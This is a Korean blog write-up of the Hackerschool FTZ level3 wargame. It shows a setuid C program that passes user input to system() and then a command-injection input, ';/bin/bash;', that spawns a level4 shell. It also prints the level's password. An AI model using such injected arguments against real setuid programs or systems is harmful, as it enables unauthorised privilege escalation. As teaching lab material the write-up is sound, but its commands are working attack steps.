FTZ_level3
먼저 hint의 내용을 확인해 보겠습니다.
[level3@ftz level3]$ ls hint public_html tmp [level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){ printf( "Auto Digger Version 0.9\n" ); printf( "Usage : %s host\n", argv[0] ); exit(0); }
strcpy( cmd, "dig @" ); strcat( cmd, argv[1] ); strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints. - 동시에 여러 명령어를 사용하려면? - 문자열 형태로 명령어를 전달하려면?
|
이제 슬슬 c언어 코드가 나오기 시작하네요ㅎㅎ
코드를 간단하게 보면..
- argv 인자를 1개 받지않을떄 문자열 출력 출력 후 끝
- argv 인자를 1개 받앗을경우, cmd라는 문자열에 ` “dig@“+argv[1]+”version.bind chaos txt” ` 저장후
- system 함수로 호출.. 하네요
먼저 힌트 속 autodig 라는 파일을 찾아보곘습니다.
[level3@ftz level3]$ find / -name autodig 2>/dev/null /bin/autodig [level3@ftz level3]$ ls -l /bin/autodig -rwsr-x--- 1 level4 level3 12194 6월 5 08:45 /bin/autodig
|
hint 파일의 밑 부분에 추가힌트를 보면..
- 동시에 여러 명령어를 사용하려면? ‘;’을 경계로 여러 명령어를 전달할 수 있습니다.
- 문자열 형태로 명령어를 전달하려면? 스크립트 언어를 사용해야합니다ㅎㅎ 파이썬, 펄 등등..
저는 펄 스크립트를 사용해서 여러 문자열을 전달해보겠습니다.
`perl -e ‘print “;/bin/bash;”` -> argv[1]로 ;/bin/bash; 를 전달합니다.
결과적으로 system 함수 호출 인자로 dig@;/bin/bash;version.bind chaos txt 가 전달되므로
dig@ 이후에 셸을 획득할 수 있겠네요ㅎㅎ
[level3@ftz level3]$ /bin/autodig `perl -e 'print ";/bin/bash;"'` dig: Couldn't find server '': Name or service not known [level4@ftz level3]$ id uid=3004(level4) gid=3003(level3) groups=3003(level3) [level4@ftz level3]$ my-pass
Level4 Password is "suck my brain". |
'System Hacking > 해커스쿨 FTZ' 카테고리의 다른 글
해커스쿨 FTZ ( level5 -> level6 ) 2 by ORANG (0) | 2014.10.20 |
---|---|
해커스쿨 FTZ ( level5 -> level6 ) 1 by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level4 -> level5 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level2 -> level3 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level1 -> level2 ) by ORANG (0) | 2014.10.20 |